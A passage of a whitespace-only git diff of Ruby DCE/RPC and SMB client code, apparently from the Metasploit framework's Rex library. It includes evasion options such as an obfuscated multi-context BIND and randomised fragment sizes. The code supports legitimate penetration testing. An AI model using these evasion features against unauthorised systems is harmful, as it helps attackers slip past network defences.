smb_client object, use it and - # and skip the connect/login/ipc$ stages of the setup - if (self.options['smb_client']) - self.smb = self.options['smb_client'] - end + # If the caller passed us a smb_client object, use it and + # and skip the connect/login/ipc$ stages of the setup + if (self.options['smb_client']) + self.smb = self.options['smb_client'] + end - # we must have a valid handle, regardless of everything else - raise ArgumentError, 'handle is not a Rex::Proto::DCERPC::Handle' if !self.handle.is_a?(Rex::Proto::DCERPC::Handle) + # we must have a valid handle, regardless of everything else + raise ArgumentError, 'handle is not a Rex::Proto::DCERPC::Handle' if !self.handle.is_a?(Rex::Proto::DCERPC::Handle) - # we do this in case socket needs setup first, ie, socket = nil - if !self.options['no_socketsetup'] - self.socket_check() - end + # we do this in case socket needs setup first, ie, socket = nil + if !self.options['no_socketsetup'] + self.socket_check() + end - raise ArgumentError, 'socket can not read' if !self.socket.respond_to?(:read) - raise ArgumentError, 'socket can not write' if !self.socket.respond_to?(:write) + raise ArgumentError, 'socket can not read' if !self.socket.respond_to?(:read) + raise ArgumentError, 'socket can not write' if !self.socket.respond_to?(:write) - if !self.options['no_autobind'] - self.bind() - end - end + if !self.options['no_autobind'] + self.bind() + end + end - def socket_check() - if self.socket == nil - self.socket_setup() - end + def socket_check() + if self.socket == nil + self.socket_setup() + end - case self.handle.protocol - when 'ncacn_ip_tcp' - if self.socket.type? != 'tcp' - raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" - end - when 'ncacn_np' - if self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe - self.ispipe = 1 - elsif self.socket.type? == 'tcp' - self.smb_connect() - else - raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" - end - # No support ncacn_ip_udp (is it needed now that its ripped from Vista?) - else - raise "Unsupported protocol : #{self.handle.protocol}" - end - end + case self.handle.protocol + when 'ncacn_ip_tcp' + if self.socket.type? != 'tcp' + raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" + end + when 'ncacn_np' + if self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe + self.ispipe = 1 + elsif self.socket.type? == 'tcp' + self.smb_connect() + else + raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" + end + # No support ncacn_ip_udp (is it needed now that its ripped from Vista?) + else + raise "Unsupported protocol : #{self.handle.protocol}" + end + end - # Create the appropriate socket based on protocol - def socket_setup() - ctx = { 'Msf' => self.options['Msf'], 'MsfExploit' => self.options['MsfExploit'] } - self.socket = case self.handle.protocol + # Create the appropriate socket based on protocol + def socket_setup() + ctx = { 'Msf' => self.options['Msf'], 'MsfExploit' => self.options['MsfExploit'] } + self.socket = case self.handle.protocol - when 'ncacn_ip_tcp' - Rex::Socket.create_tcp( - 'PeerHost' => self.handle.address, - 'PeerPort' => self.handle.options[0], - 'Context' => ctx, - 'Timeout' => self.options['connect_timeout'] - ) + when 'ncacn_ip_tcp' + Rex::Socket.create_tcp( + 'PeerHost' => self.handle.address, + 'PeerPort' => self.handle.options[0], + 'Context' => ctx, + 'Timeout' => self.options['connect_timeout'] + ) - when 'ncacn_np' - begin - socket = Rex::Socket.create_tcp( - 'PeerHost' => self.handle.address, - 'PeerPort' => 445, - 'Context' => ctx, - 'Timeout' => self.options['connect_timeout'] - ) - rescue ::Timeout::Error, Rex::ConnectionRefused - socket = Rex::Socket.create_tcp( - 'PeerHost' => self.handle.address, - 'PeerPort' => 139, - 'Context' => ctx, - 'Timeout' => self.options['connect_timeout'] - ) - end - socket - else nil - end + when 'ncacn_np' + begin + socket = Rex::Socket.create_tcp( + 'PeerHost' => self.handle.address, + 'PeerPort' => 445, + 'Context' => ctx, + 'Timeout' => self.options['connect_timeout'] + ) + rescue ::Timeout::Error, Rex::ConnectionRefused + socket = Rex::Socket.create_tcp( + 'PeerHost' => self.handle.address, + 'PeerPort' => 139, + 'Context' => ctx, + 'Timeout' => self.options['connect_timeout'] + ) + end + socket + else nil + end - # Add this socket to the exploit's list of open sockets - options['MsfExploit'].add_socket(self.socket) if (options['MsfExploit']) - end + # Add this socket to the exploit's list of open sockets + options['MsfExploit'].add_socket(self.socket) if (options['MsfExploit']) + end - def smb_connect() - require 'rex/proto/smb/simpleclient' + def smb_connect() + require 'rex/proto/smb/simpleclient' - if(not self.smb) - if self.socket.peerport == 139 - smb = Rex::Proto::SMB::SimpleClient.new(self.socket) - else - smb = Rex::Proto::SMB::SimpleClient.new(self.socket, true) - end + if(not self.smb) + if self.socket.peerport == 139 + smb = Rex::Proto::SMB::SimpleClient.new(self.socket) + else + smb = Rex::Proto::SMB::SimpleClient.new(self.socket, true) + end - smb.login('*SMBSERVER', self.options['smb_user'], self.options['smb_pass']) - smb.connect("\\\\#{self.handle.address}\\IPC$") - self.smb = smb - self.smb.read_timeout = self.options['read_timeout'] - end + smb.login('*SMBSERVER', self.options['smb_user'], self.options['smb_pass']) + smb.connect("\\\\#{self.handle.address}\\IPC$") + self.smb = smb + self.smb.read_timeout = self.options['read_timeout'] + end - f = self.smb.create_pipe(self.handle.options[0]) - f.mode = self.options['smb_pipeio'] - self.socket = f - end + f = self.smb.create_pipe(self.handle.options[0]) + f.mode = self.options['smb_pipeio'] + self.socket = f + end - def read() + def read() - max_read = self.options['pipe_read_max_size'] || 1024*1024 - min_read = self.options['pipe_read_min_size'] || max_read + max_read = self.options['pipe_read_max_size'] || 1024*1024 + min_read = self.options['pipe_read_min_size'] || max_read - raw_response = '' + raw_response = '' - # Are we reading from a remote pipe over SMB? - if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe) - begin + # Are we reading from a remote pipe over SMB? + if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe) + begin - # Max SMB read is 65535, cap it at 64000 - max_read = [64000, max_read].min - min_read = [64000, min_read].min + # Max SMB read is 65535, cap it at 64000 + max_read = [64000, max_read].min + min_read = [64000, min_read].min - read_limit = nil + read_limit = nil - while(true) - # Random read offsets will not work on Windows NT 4.0 (thanks Dave!) + while(true) + # Random read offsets will not work on Windows NT 4.0 (thanks Dave!) - read_cnt = (rand(max_read-min_read)+min_read) - if(read_limit) - if(read_cnt + raw_response.length > read_limit) - read_cnt = raw_response.length - read_limit - end - end + read_cnt = (rand(max_read-min_read)+min_read) + if(read_limit) + if(read_cnt + raw_response.length > read_limit) + read_cnt = raw_response.length - read_limit + end + end - data = self.socket.read( read_cnt, rand(1024)+1) - break if !(data and data.length > 0) - raw_response += data + data = self.socket.read( read_cnt, rand(1024)+1) + break if !(data and data.length > 0) + raw_response += data - # Keep reading until we have at least the DCERPC header - next if raw_response.length < 10 + # Keep reading until we have at least the DCERPC header + next if raw_response.length < 10 - # We now have to process the raw_response and parse out the DCERPC fragment length - # if we have read enough data. Once we have the length value, we need to make sure - # that we don't read beyond this amount, or it can screw up the SMB state - if (not read_limit) - begin - check = Rex::Proto::DCERPC::Response.new(raw_response) - read_limit = check.frag_len - rescue ::Rex::Proto::DCERPC::Exceptions::InvalidPacket - end - end - break if (read_limit and read_limit <= raw_response.length) - end + # We now have to process the raw_response and parse out the DCERPC fragment length + # if we have read enough data. Once we have the length value, we need to make sure + # that we don't read beyond this amount, or it can screw up the SMB state + if (not read_limit) + begin + check = Rex::Proto::DCERPC::Response.new(raw_response) + read_limit = check.frag_len + rescue ::Rex::Proto::DCERPC::Exceptions::InvalidPacket + end + end + break if (read_limit and read_limit <= raw_response.length) + end - rescue Rex::Proto::SMB::Exceptions::NoReply - # I don't care if I didn't get a reply... - rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception - if exception.error_code != 0xC000014B - raise exception - end - end - # This must be a regular TCP or UDP socket - else - if (self.socket.type? == 'tcp') - if (false and max_read) - while (true) - data = self.socket.get_once((rand(max_read-min_read)+min_read), self.options['read_timeout']) - break if not data - break if not data.length - raw_response << data - end - else - # Just read the entire response in one go - raw_response = self.socket.get_once(-1, self.options['read_timeout']) - end - else - # No segmented read support for non-TCP sockets - raw_response = self.socket.read(0xFFFFFFFF / 2 - 1) # read max data - end - end + rescue Rex::Proto::SMB::Exceptions::NoReply + # I don't care if I didn't get a reply... + rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception + if exception.error_code != 0xC000014B + raise exception + end + end + # This must be a regular TCP or UDP socket + else + if (self.socket.type? == 'tcp') + if (false and max_read) + while (true) + data = self.socket.get_once((rand(max_read-min_read)+min_read), self.options['read_timeout']) + break if not data + break if not data.length + raw_response << data + end + else + # Just read the entire response in one go + raw_response = self.socket.get_once(-1, self.options['read_timeout']) + end + else + # No segmented read support for non-TCP sockets + raw_response = self.socket.read(0xFFFFFFFF / 2 - 1) # read max data + end + end - raw_response - end + raw_response + end - # Write data to the underlying socket, limiting the sizes of the writes based on - # the pipe_write_min / pipe_write_max options. - def write(data) + # Write data to the underlying socket, limiting the sizes of the writes based on + # the pipe_write_min / pipe_write_max options. + def write(data) - max_write = self.options['pipe_write_max_size'] || data.length - min_write = self.options['pipe_write_min_size'] || max_write + max_write = self.options['pipe_write_max_size'] || data.length + min_write = self.options['pipe_write_min_size'] || max_write - if(min_write > max_write) - max_write = min_write - end + if(min_write > max_write) + max_write = min_write + end - idx = 0 + idx = 0 - if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe) - while(idx < data.length) - bsize = (rand(max_write-min_write)+min_write).to_i - len = self.socket.write(data[idx, bsize], rand(1024)+1) - idx += bsize - end - else - self.socket.write(data) - end + if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe) + while(idx < data.length) + bsize = (rand(max_write-min_write)+min_write).to_i + len = self.socket.write(data[idx, bsize], rand(1024)+1) + idx += bsize + end + else + self.socket.write(data) + end - data.length - end + data.length + end - def bind() - require 'rex/proto/dcerpc/packet' - bind = '' - context = '' - if self.options['fake_multi_bind'] + def bind() + require 'rex/proto/dcerpc/packet' + bind = '' + context = '' + if self.options['fake_multi_bind'] - args = [ self.handle.uuid[0], self.handle.uuid[1] ] + args = [ self.handle.uuid[0], self.handle.uuid[1] ] - if (self.options['fake_multi_bind_prepend']) - args << self.options['fake_multi_bind_prepend'] - end + if (self.options['fake_multi_bind_prepend']) + args << self.options['fake_multi_bind_prepend'] + end - if (self.options['fake_multi_bind_append']) - args << self.options['fake_multi_bind_append'] - end + if (self.options['fake_multi_bind_append']) + args << self.options['fake_multi_bind_append'] + end - bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) - else - bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid) - end + bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) + else + bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid) + end - raise 'make_bind failed' if !bind + raise 'make_bind failed' if !bind - self.write(bind) - raw_response = self.read() + self.write(bind) + raw_response = self.read() - response = Rex::Proto::DCERPC::Response.new(raw_response) - self.last_response = response - if response.type == 12 or response.type == 15 - if self.last_response.ack_result[context] == 2 - raise "Could not bind to #{self.handle}" - end - self.context = context - else - raise "Could not bind to #{self.handle}" - end - end + response = Rex::Proto::DCERPC::Response.new(raw_response) + self.last_response = response + if response.type == 12 or response.type == 15 + if self.last_response.ack_result[context] == 2 + raise "Could not bind to #{self.handle}" + end + self.context = context + else + raise "Could not bind to #{self.handle}" + end + end - # Perform a DCE/RPC Function Call - def call(function, data, do_recv = true) + # Perform a DCE/RPC Function Call + def call(function, data, do_recv = true) - frag_size = data.length - if options['frag_size'] - frag_size = options['frag_size'] - end - object_id = '' - if options['object_call'] - object_id = self.handle.uuid[0] - end - if options['random_object_id'] - object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) - end + frag_size = data.length + if options['frag_size'] + frag_size = options['frag_size'] + end + object_id = '' + if options['object_call'] + object_id = self.handle.uuid[0] + end + if options['random_object_id'] + object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) + end - call_packets = Rex::Proto::DCERPC::Packet.make_request(function, data, frag_size, self.context, object_id) - call_packets.each { |packet| - self.write(packet) - } + call_packets = Rex::Proto::DCERPC::Packet.make_request(function, data, frag_size, self.context, object_id) + call_packets.each { |packet| + self.write(packet) + } - return true if not do_recv + return true if not do_recv - raw_response = '' + raw_response = '' - begin - raw_response = self.read() - rescue ::EOFError - raise Rex::Proto::DCERPC::Exceptions::NoResponse - end + begin + raw_response = self.read() + rescue ::EOFError + raise Rex::Proto::DCERPC::Exceptions::NoResponse + end - if (raw_response == nil or raw_response.length == 0) - raise Rex::Proto::DCERPC::Exceptions::NoResponse - end + if (raw_response == nil or raw_response.length == 0) + raise Rex::Proto::DCERPC::Exceptions::NoResponse + end - self.last_response = Rex::Proto::DCERPC::Response.new(raw_response) + self.last_response = Rex::Proto::DCERPC::Response.new(raw_response) - if self.last_response.type == 3 - e = Rex::Proto::DCERPC::Exceptions::Fault.new - e.fault = self.last_response.status - raise e - end + if self.last_response.type == 3 + e = Rex::Proto::DCERPC::Exceptions::Fault.new + e.fault = self.last_response.status + raise e + end - self.last_response.stub_data - end + self.last_response.stub_data + end - # Process a DCERPC response packet from a socket - def self.read_response(socket, timeout=self.options['read_timeout']) + # Process a DCERPC response packet from a socket + def self.read_response(socket, timeout=self.options['read_timeout']) - data = socket.get_once(-1, timeout) + data = socket.get_once(-1, timeout) - # We need at least 10 bytes to find the FragLen - if (! data or data.length() < 10) - return - end + # We need at least 10 bytes to find the FragLen + if (! data or data.length() < 10) + return + end - # Pass the first 10 bytes to the constructor - resp = Rex::Proto::DCERPC::Response.new(data.slice!(0, 10)) + # Pass the first 10 bytes to the constructor + resp = Rex::Proto::DCERPC::Response.new(data.slice!(0, 10)) - # Something went wrong in the parser... - if (! resp.frag_len) - return resp - end + # Something went wrong in the parser... + if (! resp.frag_len) + return resp + end - # Do we need to read more data? - if (resp.frag_len > (data.length + 10)) - begin - data << socket.timed_read(resp.frag_len - data.length - 10, timeout) - rescue Timeout::Error - end - end + # Do we need to read more data? + if (resp.frag_len > (data.length + 10)) + begin + data << socket.timed_read(resp.frag_len - data.length - 10, timeout) + rescue Timeout::Error + end + end - # Still missing some data... - if (data.length() != resp.frag_len - 10) - # TODO: Bubble this up somehow - # $stderr.puts "Truncated DCERPC response :-(" - return resp - end + # Still missing some data... + if (data.length() != resp.frag_len - 10) + # TODO: Bubble this up somehow + # $stderr.puts "Truncated DCERPC response :-(" + return resp + end - resp.parse(data) - return resp - end + resp.parse(data) + return resp + end end end diff --git a/lib/rex/proto/dcerpc/packet.rb b/lib/rex/proto/dcerpc/packet.rb index 34aa73de14..b60e8998da 100644 --- a/lib/rex/proto/dcerpc/packet.rb +++ b/lib/rex/proto/dcerpc/packet.rb @@ -8,255 +8,255 @@ require 'rex/proto/dcerpc/uuid' require 'rex/proto/dcerpc/response' require 'rex/text' - UUID = Rex::Proto::DCERPC::UUID + UUID = Rex::Proto::DCERPC::UUID - # Create a standard DCERPC BIND request packet - def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers) + # Create a standard DCERPC BIND request packet + def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers) - # Process the version strings ("1.0", 1.0, "1", 1) - bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) - xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers) + # Process the version strings ("1.0", 1.0, "1", 1) + bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) + xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers) - if UUID.is? xfer_syntax_uuid - xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid) - end + if UUID.is? xfer_syntax_uuid + xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid) + end - # Create the bind request packet - buff = - [ - 5, # major version 5 - 0, # minor version 0 - 11, # bind type - 3, # flags - 0x10000000, # data representation - 72, # frag length - 0, # auth length - 0, # call id - 5840, # max xmit frag - 5840, # max recv frag - 0, # assoc group - 1, # num ctx items - 0, # context id - 1, # num trans items - UUID.uuid_pack(uuid), # interface uuid - bind_vers_maj, # interface major version - bind_vers_min, # interface minor version - xfer_syntax_uuid, # transfer syntax - xfer_vers_maj, # syntax major version - xfer_vers_min, # syntax minor version - ].pack('CCCCNvvVvvVVvvA16vvA16vv') + # Create the bind request packet + buff = + [ + 5, # major version 5 + 0, # minor version 0 + 11, # bind type + 3, # flags + 0x10000000, # data representation + 72, # frag length + 0, # auth length + 0, # call id + 5840, # max xmit frag + 5840, # max recv frag + 0, # assoc group + 1, # num ctx items + 0, # context id + 1, # num trans items + UUID.uuid_pack(uuid), # interface uuid + bind_vers_maj, # interface major version + bind_vers_min, # interface minor version + xfer_syntax_uuid, # transfer syntax + xfer_vers_maj, # syntax major version + xfer_vers_min, # syntax minor version + ].pack('CCCCNvvVvvVVvvA16vvA16vv') - return buff, 0 - end + return buff, 0 + end - # Create an obfuscated DCERPC BIND request packet - def self.make_bind_fake_multi(uuid, vers, bind_head=0, bind_tail=0) + # Create an obfuscated DCERPC BIND request packet + def self.make_bind_fake_multi(uuid, vers, bind_head=0, bind_tail=0) - bind_head = bind_head.to_i - bind_tail = bind_tail.to_i - bind_head = rand(6)+10 if bind_head == 0 - bind_tail = rand(4)+1 if bind_head == 0 + bind_head = bind_head.to_i + bind_tail = bind_tail.to_i + bind_head = rand(6)+10 if bind_head == 0 + bind_tail = rand(4)+1 if bind_head == 0 - u = Rex::Proto::DCERPC::UUID + u = Rex::Proto::DCERPC::UUID - # Process the version strings ("1.0", 1.0, "1", 1) - bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) - xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) + # Process the version strings ("1.0", 1.0, "1", 1) + bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) + xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) - bind_total = bind_head + bind_tail + 1 - bind_size = (bind_total * 44) + 28 - real_ctx, ctx = 0, 0 + bind_total = bind_head + bind_tail + 1 + bind_size = (bind_total * 44) + 28 + real_ctx, ctx = 0, 0 - # Create the header of the bind request - data = - [ - 5, # major version 5 - 0, # minor version 0 - 11, # bind type - 3, # flags - 0x10000000, # data representation - bind_size, # frag length - 0, # auth length - 0, # call id - 5840, # max xmit frag - 5840, # max recv frag - 0, # assoc group - bind_total, # num ctx items - ].pack('CCCCNvvVvvVV') + # Create the header of the bind request + data = + [ + 5, # major version 5 + 0, # minor version 0 + 11, # bind type + 3, # flags + 0x10000000, # data representation + bind_size, # frag length + 0, # auth length + 0, # call id + 5840, # max xmit frag + 5840, # max recv frag + 0, # assoc group + bind_total, # num ctx items + ].pack('CCCCNvvVvvVV') - # Generate the fake UUIDs prior to the real one - 1.upto(bind_head) do || - # Generate some random UUID and versions - rand_uuid = Rex::Text.rand_text(16) - rand_imaj = rand(6) - rand_imin = rand(4) + # Generate the fake UUIDs prior to the real one + 1.upto(bind_head) do || + # Generate some random UUID and versions + rand_uuid = Rex::Text.rand_text(16) + rand_imaj = rand(6) + rand_imin = rand(4) - data += - [ - ctx, # context id - 1, # num trans items - rand_uuid, # interface uuid - rand_imaj, # interface major version - rand_imin, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax - xfer_vers_maj, # syntax major version - xfer_vers_min, # syntax minor version - ].pack('vvA16vvA16vv') - ctx += 1 - end + data += + [ + ctx, # context id + 1, # num trans items + rand_uuid, # interface uuid + rand_imaj, # interface major version + rand_imin, # interface minor version + UUID.xfer_syntax_uuid, # transfer syntax + xfer_vers_maj, # syntax major version + xfer_vers_min, # syntax minor version + ].pack('vvA16vvA16vv') + ctx += 1 + end - # Stuff the real UUID onto the end of the buffer - real_ctx = ctx; - data += - [ - ctx, # context id - 1, # num trans items - UUID.uuid_pack(uuid), # interface uuid - bind_vers_maj, # interface major version - bind_vers_min, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax - xfer_vers_maj, # syntax major version - xfer_vers_min, # syntax minor version - ].pack('vvA16vvA16vv') - ctx += 1 + # Stuff the real UUID onto the end of the buffer + real_ctx = ctx; + data += + [ + ctx, # context id + 1, # num trans items + UUID.uuid_pack(uuid), # interface uuid + bind_vers_maj, # interface major version + bind_vers_min, # interface minor version + UUID.xfer_syntax_uuid, # transfer syntax + xfer_vers_maj, # syntax major version + xfer_vers_min, # syntax minor version + ].pack('vvA16vvA16vv') + ctx += 1 - # Generate the fake UUIDs after the real one - 1.upto(bind_tail) do || - # Generate some random UUID and versions - rand_uuid = Rex::Text.rand_text(16) - rand_imaj = rand(6) - rand_imin = rand(4) + # Generate the fake UUIDs after the real one + 1.upto(bind_tail) do || + # Generate some random UUID and versions + rand_uuid = Rex::Text.rand_text(16) + rand_imaj = rand(6) + rand_imin = rand(4) - data += - [ - ctx, # context id - 1, # num trans items - rand_uuid, # interface uuid - rand_imaj, # interface major version - rand_imin, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax - xfer_vers_maj, # syntax major version - xfer_vers_min, # syntax minor version - ].pack('vvA16vvA16vv') - ctx += 1 - end + data += + [ + ctx, # context id + 1, # num trans items + rand_uuid, # interface uuid + rand_imaj, # interface major version + rand_imin, # interface minor version + UUID.xfer_syntax_uuid, # transfer syntax + xfer_vers_maj, # syntax major version + xfer_vers_min, # syntax minor version + ].pack('vvA16vvA16vv') + ctx += 1 + end - # Return both the bind packet and the real context_id - return data, real_ctx - end + # Return both the bind packet and the real context_id + return data, real_ctx + end - # Create a standard DCERPC ALTER_CONTEXT request packet - def self.make_alter_context(uuid, vers) - u = Rex::Proto::DCERPC::UUID + # Create a standard DCERPC ALTER_CONTEXT request packet + def self.make_alter_context(uuid, vers) + u = Rex::Proto::DCERPC::UUID - # Process the version strings ("1.0", 1.0, "1", 1) - bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) - xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) + # Process the version strings ("1.0", 1.0, "1", 1) + bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) + xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) - buff = - [ - 5, # major version 5 - 0, # minor version 0 - 14, # alter context - 3, # flags - 0x10000000, # data representation - 72, # frag length - 0, # auth length - 0, # call id - 5840, # max xmit frag - 5840, # max recv frag - 0, # assoc group - 1, # num ctx items - 0, # context id - 1, # num trans items - UUID.uuid_pack(uuid), # interface uuid - bind_vers_maj, # interface major version - bind_vers_min, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax - xfer_vers_maj, # syntax major version - xfer_vers_min, # syntax minor version - ].pack('CCCCNvvVvvVVvvA16vvA16vv') - end + buff = + [ + 5, # major version 5 + 0, # minor version 0 + 14, # alter context + 3, # flags + 0x10000000, # data representation + 72, # frag length + 0, # auth length + 0, # call id + 5840, # max xmit frag + 5840, # max recv frag + 0, # assoc group + 1, # num ctx items + 0, # context id + 1, # num trans items + UUID.uuid_pack(uuid), # interface uuid + bind_vers_maj, # interface major version + bind_vers_min, # interface minor version + UUID.xfer_syntax_uuid, # transfer syntax + xfer_vers_maj, # syntax major version + xfer_vers_min, # syntax minor version + ].pack('CCCCNvvVvvVVvvA16vvA16vv') + end - # Used to create a piece of a DCERPC REQUEST packet - def self.make_request_chunk(flags=3, opnum=0, data="", ctx=0, object_id = '') + # Used to create a piece of a DCERPC REQUEST packet + def self.make_request_chunk(flags=3, opnum=0, data="", ctx=0, object_id = '') - flags = flags.to_i - opnum = opnum.to_i - ctx = ctx.to_i + flags = flags.to_i + opnum = opnum.to_i + ctx = ctx.to_i - dlen = data.length - flen = dlen + 24 + dlen = data.length + flen = dlen + 24 - use_object = 0 + use_object = 0 - object_str = '' + object_str = '' - if object_id.size > 0 - flags |= 0x80 - flen = flen + 16 - object_str = UUID.uuid_pack(object_id) - end + if object_id.size > 0 + flags |= 0x80 + flen = flen + 16 + object_str = UUID.uuid_pack(object_id) + end - buff = - [ - 5, # major version 5 - 0, # minor version 0 - 0, # request type - flags, # flags - 0x10000000, # data representation - flen, # frag length - 0, # auth length - 0, # call id - dlen, # alloc hint - ctx, # context id - opnum, # operation number - ].pack('CCCCNvvVVvv') + object_str + data - end + buff = + [ + 5, # major version 5 + 0, # minor version 0 + 0, # request type + flags, # flags + 0x10000000, # data representation + flen, # frag length + 0, # auth length + 0, # call id + dlen, # alloc hint + ctx, # context id + opnum, # operation number + ].pack('CCCCNvvVVvv') + object_str + data + end - # Used to create standard DCERPC REQUEST packet(s) - def self.make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') + # Used to create standard DCERPC REQUEST packet(s) + def self.make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') - opnum = opnum.to_i - size = [4000, size.to_i].min - ctx = ctx.to_i + opnum = opnum.to_i + size = [4000, size.to_i].min + ctx = ctx.to_i - chunks, frags = [], [] - ptr = 0 + chunks, frags = [], [] + ptr = 0 - # Break the request into fragments of 'size' bytes - while ptr < data.length - chunks.push( data[ ptr, size ] ) - ptr += size - end + # Break the request into fragments of 'size' bytes + while ptr < data.length + chunks.push( data[ ptr, size ] ) + ptr += size + end - # Process requests with no stub data - if chunks.length == 0 - frags.push( make_request_chunk(3, opnum, '', ctx, object_id) ) - return frags - end + # Process requests with no stub data + if chunks.length == 0 + frags.push( make_request_chunk(3, opnum, '', ctx, object_id) ) + return frags + end - # Process requests with only one fragment - if chunks.length == 1 - frags.push( make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) - return frags - end + # Process requests with only one fragment + if chunks.length == 1 + frags.push( make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) + return frags + end - # Create the first fragment of the request - frags.push( make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) + # Create the first fragment of the request + frags.push( make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) - # Create all of the middle fragments - while chunks.length != 1 - frags.push( make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) - end + # Create all of the middle fragments + while chunks.length != 1 + frags.push( make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) + end - # Create the last fragment of the request - frags.push( make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) + # Create the last fragment of the request + frags.push( make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) - return frags - end + return frags + end end end diff --git a/lib/rex/proto/dcerpc/wdscp/constants.rb b/lib/rex/proto/dcerpc/wdscp/constants.rb index 1df1625a4f..6c5ea07847 100644 --- a/lib/rex/proto/dcerpc/wdscp/constants.rb +++ b/lib/rex/proto/dcerpc/wdscp/constants.rb @@ -7,80 +7,80 @@ module WDSCP # http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx # Not all values defined by the spec have been imported... class Constants - WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620" - OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27" + WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620" + OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27" - VAR_NAME_ARCHITECTURE = "ARCHITECTURE" - VAR_NAME_CLIENT_GUID = "CLIENT_GUID" - VAR_NAME_CLIENT_MAC = "CLIENT_MAC" - VAR_NAME_VERSION = "VERSION" - VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE" - VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID" - VAR_NAME_FLAGS = "FLAGS" - VAR_NAME_CC = "CC" #Client Capabilities - VAR_NAME_IMDC = "IMDC" + VAR_NAME_ARCHITECTURE = "ARCHITECTURE" + VAR_NAME_CLIENT_GUID = "CLIENT_GUID" + VAR_NAME_CLIENT_MAC = "CLIENT_MAC" + VAR_NAME_VERSION = "VERSION" + VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE" + VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID" + VAR_NAME_FLAGS = "FLAGS" + VAR_NAME_CC = "CC" #Client Capabilities + VAR_NAME_IMDC = "IMDC" - VAR_TYPE_LOOKUP = { - VAR_NAME_ARCHITECTURE => :ULONG, - VAR_NAME_CLIENT_GUID => :WSTRING, - VAR_NAME_CLIENT_MAC => :WSTRING, - VAR_NAME_VERSION => :ULONG, - VAR_NAME_MESSAGE_TYPE => :ULONG, - VAR_NAME_TRANSACTION_ID => :WSTRING, - VAR_NAME_FLAGS => :ULONG, - VAR_NAME_CC => :ULONG, - VAR_NAME_IMDC => :ULONG - } + VAR_TYPE_LOOKUP = { + VAR_NAME_ARCHITECTURE => :ULONG, + VAR_NAME_CLIENT_GUID => :WSTRING, + VAR_NAME_CLIENT_MAC => :WSTRING, + VAR_NAME_VERSION => :ULONG, + VAR_NAME_MESSAGE_TYPE => :ULONG, + VAR_NAME_TRANSACTION_ID => :WSTRING, + VAR_NAME_FLAGS => :ULONG, + VAR_NAME_CC => :ULONG, + VAR_NAME_IMDC => :ULONG + } - CC_FLAGS = { - :V2 => 1, - :VHDX => 2 - } + CC_FLAGS = { + :V2 => 1, + :VHDX => 2 + } - DOMAIN_JOIN_FLAGS = { - :JOIN_DOMAIN => 1, - :ACCOUNT_EXISTS => 2, - :PRESTAGE_USING_MAC => 3, - :RESET_BOOT_PROGRAM => 256 - } + DOMAIN_JOIN_FLAGS = { + :JOIN_DOMAIN => 1, + :ACCOUNT_EXISTS => 2, + :PRESTAGE_USING_MAC => 3, + 